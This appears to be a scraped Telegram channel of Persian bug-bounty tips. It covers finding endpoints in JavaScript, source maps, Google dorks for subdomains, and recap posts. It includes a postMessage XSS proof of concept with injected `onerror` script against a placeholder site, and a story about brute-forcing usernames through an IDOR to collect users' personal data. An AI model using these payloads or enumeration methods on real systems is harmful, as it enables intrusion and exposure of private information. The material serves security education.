Bugbountyhints – Telegram
چجوری از فایل های .js میتونیم به اندپوینت برسیم ؟

1 - استفاده از رجکس :‌
grep -Eo '("|\')(/[^"']+)("|\')' *.js | sort -u


2 - پیدا کردن request های get و http Method های دیگه :
fetch("
axios.get("
{ method: "POST" }


3 - پیدا کردن بر اساس یه سری کلمات کلیدی :
API-related keywords like endpoint
url
request
fetch
ajax
GET
POST
XMLHttpRequest()


برای موارد بیشتر میتونید یه سر به این notion ای که ساختم بزنید :

https://snapdragon-copper-dd1.notion.site/Finding-Hidden-Endpoints-223a797be4c680889370c563ddb30f7a?source=copy_link
Bugbountyhints
این ماه هم تقریبا با ۲۲۰ ساعت کار تموم شد تمرکز اصلیم روی هانت کردن بود که دیگه شهریور بیشتر میرم سمت js و مدرن اپ ها
این ماه هم با ۱۳۹ ساعت کار تموم شد. اونجوری که باید پیش نرفت و کارای اداری و دیپلم دهنمون رو سرویس کرد
بریم که مهر ماه رو بترکونیم
سورس مپ جاوااسکریپت چیه ؟
سورس‌مپ‌های جاوااسکریپت عملاً نقشه‌ای از کدها قبل از obfuscation هستن. هر وقت سورس‌مپ رو داشته باشی کد فرانت‌اند خوانایی راحتی داره و دیباگ‌کردنش خیلی ساده‌تر و سرراست‌تر میشه.

تو این سایت هم میتونید source map رو آپلود کنید تا براتون مرتب اش کنه :
https://evanw.github.io/source-map-visualization/

لینک هایی برای مطالعه بیشتر :‌
Article-1
Article-2
Article-3
چجوری تو این کد میتونیم به Dom Xss برسیم ؟‌

__d("goURIOnWindow", ["ConstUriUtils", "FBLogger", "err"], (function(a, b, c, d, e, f, g) {
"use strict";
function a(a, b) {
var e = typeof b === "string" ? d("ConstUriUtils").getUri(b) : b;
if (e)
a.location = e.toString();
else {
a = "Invalid URI " + b.toString() + " provided to goURIOnWindow";
c("FBLogger")("comet_infra").blameToPreviousFrame().mustfix(a)
}
}
g["default"] = a
}
), 98);


بعد از اینکه تلاشتون رو کردید بشینید رایتاپش رو هم بخونید :

https://ysamm.com/2023/01/29/dom-xss-in-instant-games-due-to-improper-verification-of-supplied-urls.html
امروز داشتم یه ریپورتی در رابطه با postMessage میخوندم که دوست داشتم اینجا بازش کنم :
ما یه همچین listener ای رو داریم :
Receiver: function (e) {
var n, r = this.get("replaceRoute"), i = this.get("referrer");
if (!i || e.origin === normalize(i)) {
try { n = JSON.parse(e.data); } catch (u) {}
// ...
}
}

خب حالا مشکل این listener چیه ؟ توی این قسمت if (!i داره چک میکنه که اگه referrer خالی باشه این شرط پاس بشه و مشکلی نداره پس اگه referrer ما خالی باشه دیگه به شرط بعدی e.origin نمیرسه و نکته مهمی که اینجا هست اینه که توی postMessage هیچ هدر referrer ای ست نمیشه پس اگه من یه sender داشته باشم به راحتی میتونم به اینجا Message بفرستم.
پس کد sender ما میشه :
win = window.open("https://transact.victim.com/");
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "application_error",
model: { error: 500, noscript: "injected", message: "from attacker" }
}), "*");

حالا تو ادامه اش هم اومده بود یه route دیگه پیدا کرده بود که اونجا xss میخورد :
win.postMessage(JSON.stringify({
action: "replaceRoute",
route: "voucher.multi-product-details",
model: {
eligible: true,
sku: {
id: 0, longDenoscription: `
<img src=x onerror='alert(document.domain)'>`
}
}
}), "*");
Bugbountyhints
این ماه هم با ۱۳۹ ساعت کار تموم شد. اونجوری که باید پیش نرفت و کارای اداری و دیپلم دهنمون رو سرویس کرد بریم که مهر ماه رو بترکونیم
این ماه هم تقریبا با ۲۱۹ ساعت کار تموم شد.
تمرکز اصلی ایم روی هانت، js و oauth بود که تونستم تا یه لولی بهترشون کنم
این ماه هم یکم دوست دارم رو قسمت غیر فنی داستان تمرکز کنم و البته oauth و js رو بهتر کنم
Forwarded from NSEs
How_a_Toreon_ski_trip_led_to_a_CVE_in_MikroTik's_Wi_Fi_Hotspot.pdf
458.8 KB
How a Toreon ski-trip led to a CVE in MikroTik's Wi-Fi Hotspot

CHANNEL
GROUP
DISCORD
Forwarded from BLACK MEMORIES 📂 (Black Folder)
* IDOR *

وقتی وارد سایت شدم، فقط یه فرم لاگین و یه صفحه‌ی تماس داشت، هیچ چیز دیگه‌ای نبود. جاوااسکریپت رو چک کردم، چیزی بالا نیومد. گوگل دورک زدم، بی‌نتیجه. waybackurl و چند روش دیگه هم تست کردم، باز هیچی.
رفتم گیتهاب، دامین سایت رو اونجا سرچ کردم و یه API خاص پیدا کردم:

blackfolder.ir/api/userinfo/showUserDetails/jrodriguez75

وقتی بازش کردم، دیدم اطلاعات یه کاربر داره لو میره — شماره تلفن، آدرس، شناسه ملی و... .

گزارش رو برای هکروان فرستادم، گفتن ایمپکتش مدیوم چون برای اکسپلویت باید یوزرنیم رو بدونی.

آیدی رو با اعداد تست زدم (مثل 74، 76 و...) ولی جواب نداد، که بعدش به یه چیز فوق العاده جالب رسیدم :
یوزرنیم فعلی jrodriguez75 بود. وقتی عدد 75 رو پاک کردم، اطلاعات یه کاربر دیگه لود شد!
اینجا بود که متوجه شدم سایت یه پترن خاص برای ساخت یوزرنیم‌ها داره. بر اساس حرف اول اسم + نام خانوادگی، و اگه تکراری باشه یه عدد (معمولاً سال تولد) به آخرش اضافه می‌کنه.
مثلاً اگه اسم “Black Folder” باشه و سال 65 متولد شده باشی، یوزرنیمت میشه bfolder65.

حالا چلنج این بود که چطوری نام‌خانوادگی‌های مختلف رو پیدا کنم.

از AI خواستم برام یه اسکریپت درست کنه که ۱۰ تا نام‌خانوادگی محبوب آمریکایی تولید کنه، بعد با ترکیب حروف A تا Z برای بخش اسم، شروع کنه به بروت‌فورس یوزرنیم‌ها.
اگه یه ریسپانس با کد 200 برمیگشت، اون یوزرنیم معتبر حساب میشد و بعد بخش عددیش (مثلاً سال تولد) رو از 1960 تا 1999 بروت‌فورس کردم.

نتیجه چی شد؟ یه لیست از اطلاعات کاربران، شامل شماره تلفن، آدرس خونه، شناسه ملی و... بدست اومد و ارسال کردم برای هکروان و ایمپکت از مدیوم رفت به کریتیکال.

خلاصه ی ویدیو : NahamSec👤
Forwarded from webSociety
Mindset-Hak412.pdf
44.5 MB
کتاب مایندست ، ترجمه فارسی
یکی از تکنیک هایی که تو ریکان استفاده میکنم، در آوردن ساب دامین از سوشال مدیا هستش که نتیجه خوبی هم ازش میگیرم
یه سری dork جنریت میکنم و دامین مورد نظر خودم رو توش میزارم، مثل :

site:x.com "domain.tld"
site:instagram.com "domain.tld"
site:linkedin.com "domain.tld"
site:reddit.com "domain.tld"

این‌جوری به یه سری توییت یا پست قدیمی و جدید می‌رسم که راجع به ساب‌دامینی کامنت گذاشتن و بعد میرم چک می‌کنم که بالا هستن یا نه.
فول تایم هانتر بودن اینجوریه که یه ماه مثل کارتون خوابا زندگی میکنی بعد یه شب بهت چند تا باگ میخوره ورق عوض میشه
خلاصه که اگه فول تایم هانت میکنید این مدیریت مالی رو جدی بگیرید
ابزار subScraper از XSS-Rat. خودم فعلا بالا نیاوردمش ولی از شات هایی که گذاشته بود میشه گفت که ابزار باحال و کار راه بندازیه.
https://github.com/The-XSS-Rat/subScraper?tab=readme-ov-file